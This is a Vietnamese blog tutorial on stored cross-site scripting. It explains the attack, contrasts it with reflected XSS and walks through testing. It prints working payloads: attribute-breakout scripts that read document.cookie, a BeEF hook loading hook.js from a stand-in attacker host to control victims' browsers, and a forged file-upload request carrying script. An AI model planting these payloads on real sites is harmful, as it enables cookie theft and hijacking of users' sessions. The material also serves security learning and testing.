Các kiểu khai thác XSS – Phần 2: Stored XSS

0

Trong bài trước, AD đã giới thiệu về lỗi XSS (Cross Site Scripting) và hướng khai thác thực tế của XSS Reflected. Có một loại khác của XSS được xem là nguy hiểm hơn, đó là Stored XSS.

Công việc đầu tiên mà AD làm khi đọc một bài viết mới đó là gắng download hết tất cả các tool có trong bài đó về máy, và dù không học thì cũng nghiên cứu xem tool đó để làm gì, hoạt động như thế nào, và AD khuyên mọi người cũng nên làm vậy, có nhiều người được gọi là Hacker giỏi chỉ vì họ biết sử dụng khéo léo các công cụ kể cả free

 


 

Stored XSS

Khác với Reflected tấn công trực tiếp vào một số nạn nhân mà hacker nhắm đến, Stored XSS hướng đến nhiều nạn  nhân hơn. Lỗi này xảy ra khi ứng dụng web không kiểm tra kỹ các dữ liệu đầu vào trước khi lưu vào cơ sở dữ liệu (ở đây AD dùng khái niệm này để chỉ database, file hay những khu vực khác nhằm lưu trữ dữ liệu của ứng dụng web). Ví dụ như các form góp ý, các comment … trên các trang web.

Với kỹ thuật Stored XSS , hacker không khai thác trực tiếp mà phải thực hiện tối thiểu qua 2 bước.

Đầu tiên hacker sẽ thông qua các điểm đầu vào (form, input, textarea…) không được kiểm tra kỹ để chèn vào CSDL các đoạn mã nguy hiểm.

Stored Xss Input
Stored Xss Input

 

[adrotate banner="3"]

Tiếp theo, khi người dùng truy cập vào ứng dụng web và thực hiện các thao tác liên quan đến dữ liệu được lưu này, đoạn mã của hacker sẽ được thực thi trên trình duyệt người dùng.

Stored Xss Output
Stored Xss Output

 

Đến đây hacker coi  như đã đạt được mục đích của mình. Vì lí do này mà kỹ thuật Stored XSS còn được gọi là second-order XSS.

Kịch bản khai thác được mô tả như hình sau:

Stored Xss Describe
Stored Xss Describe

Reflected XSS và Stored XSS có 2 sự khác biệt lớn trong quá trình tấn công.

  • Thứ nhất, để khai thác Reflected XSS, hacker phải lừa được nạn nhân truy cập vào URL của mình. Còn Stored XSS không cần phải thực hiện việc này, sau khi chèn được mã nguy hiểm vào CSDL của ứng dụng, hacker chỉ việc ngồi chờ nạn nhân tự động truy cập vào. Với nạn nhân, việc này là hoàn toàn bình thường vì họ không hề hay biết dữ liệu mình truy cập đã bị nhiễm độc.
  • Thứ 2, mục tiêu của hacker sẽ dễ dàng đạt được hơn nếu tại thời điểm tấn công nạn nhân vẫn trong phiên làm việc(session) của ứng dụng web. Với Reflected XSS, hacker có thể thuyết phục hay lừa nạn nhân đăng nhập rồi truy cập đến URL mà hắn ta cung cấp để thực thi mã độc. Nhưng Stored XSS thì khác, vì mã độc đã được lưu trong CSDL Web nên bất cứ khi nào người dùng truy cập các chức năng liên quan thì mã độc sẽ được thực thi, và nhiều khả năng là những chức năng này yêu cầu phải xác thực(đăng nhập) trước nên hiển nhiên trong thời gian này người dùng vẫn đang trong phiên làm việc.

Từ những điều này có thể thấy Stored XSS nguy hiểm hơn Reflected XSS rất nhiều, đối tượng bị ảnh hưởng có thế là tất cả nhưng người sử dụng ứng dụng web đó. Và nếu nạn nhân có vai trò quản trị thì còn có nguy cơ bị chiếm quyền điều khiển web.

 

 


 

Testing

Ví dụ:

Email lưu trữ ở trong file index2.php

Index
index

Mã nguồn của file index.php

<input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com" />

 

Trong trường hợp như thế này, mọi người cần tìm cách để đưa code vào bên ngoài thẻ <input>như sau:

<input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com"> MALICIOUS CODE <!-- />

Kiểm tra:

Điều này liên quan đến việc kiểm tra và lọc kết quả đầu vào của index2.php

aaa@aa.com"><script>alert(document.cookie)</script>

 

aaa@aa.com%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E

Kiểm tra để đảm bảo là phần input được ứng dụng chấp nhận,vì một số trang chặn thực thi mã js thì sẽ không làm được, hoặc các trang dùng thông qua proxy của Webscarab

Kết quả:

Example
Example

Đây là đoạn mã đã được thực thi:

<input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com"><script>alert(document.cookie)</script>

Công cụ

Lỗi Stored XSS có thể được khai thác thông qua BeEFXSS ProxyPROXIFY

Các bước thực hành cơ bản ( ở đây AD dùng BeEF nhé)

  • Gắn một file js có chức năng trao đổi thông tin với hacker
  • Đợi victim xem trang web lỗi mà ta đã cài đặt thêm vào CSDL trên
  • Điều khiển victim thông qua BeEF Control

Ví dụ : BeEF Injection trong file index2.php

aaa@aa.com”><script src=http://attackersite/hook.js></script>

Khi người dùng vào trang index2.php, đoạn script hook.js sẽ được thực thi, lúc này hacker có thể xem cookies, Prt Scr, xem clipboard của nạn nhân và điều khiển qua Control của BeEF

Demo Cookies
Demo Cookies

 

Và tiếp theo, nếu app của victim cho phép upload file thì sao nhỉ, điều này sẽ rất thú vị đấy, AD sẽ thử nhé

  • Thường thì chúng ta sẽ được upload file Html và TXT thôi :v

AD xem mẫu sau:

POST /fileupload.aspx HTTP/1.1
[…]

Content-Disposition: form-data; name="uploadfile1"; filename="C:Documents and SettingstestDesktoptest.txt"
Content-Type: text/plain

test

Lỗ hổng này có thể bạn đã từng gặp trong các MIME lỗi, ví dụ như bạn có thể chèn cả các dữ liệu XSS hay là JS vào trong file JPG/GIF, chỉ dùng được khi trình duyệt nhận JPG/GIF như là HTML/TEXT còn không sẽ bị trình duyệt chặn ngay :)))

Vậy nên chúng ta sẻ sửa lại đoạn mã HTTP POST trên như sau:

Content-Disposition: form-data; name="uploadfile1"; filename="C:Documents and SettingstestDesktoptest.gif"
Content-Type: text/html

<script>alert(document.cookie)</script>

AD thử trên trình duyệt khác nhau thì lại có kết quả khác nhau, ví dụ IE sẽ xem 1 file TXT có chứa nội dung HTML như laf1 file HTML thực thụ, còn Firefox thì không  😯

 

AD chia sẻ luôn một số biến và toán tử để kiểm tra lỗi ở các mã nguồn

PHP ASP JSP
  • $_GET – HTTP GET variables
  • $_POST – HTTP POST variables
  • $_REQUEST – http POST, GET and COOKIE variables
  • $_FILES – HTTP File Upload variables
  • Request.QueryString – HTTP GET
  • Request.Form – HTTP POST
  • Server.CreateObject – used to upload files
  • doGet, doPost servlets – HTTP GET and POST
  • request.getParameter – HTTP GET/POST variables

 


 

Tools

Leave A Reply

Your email address will not be published.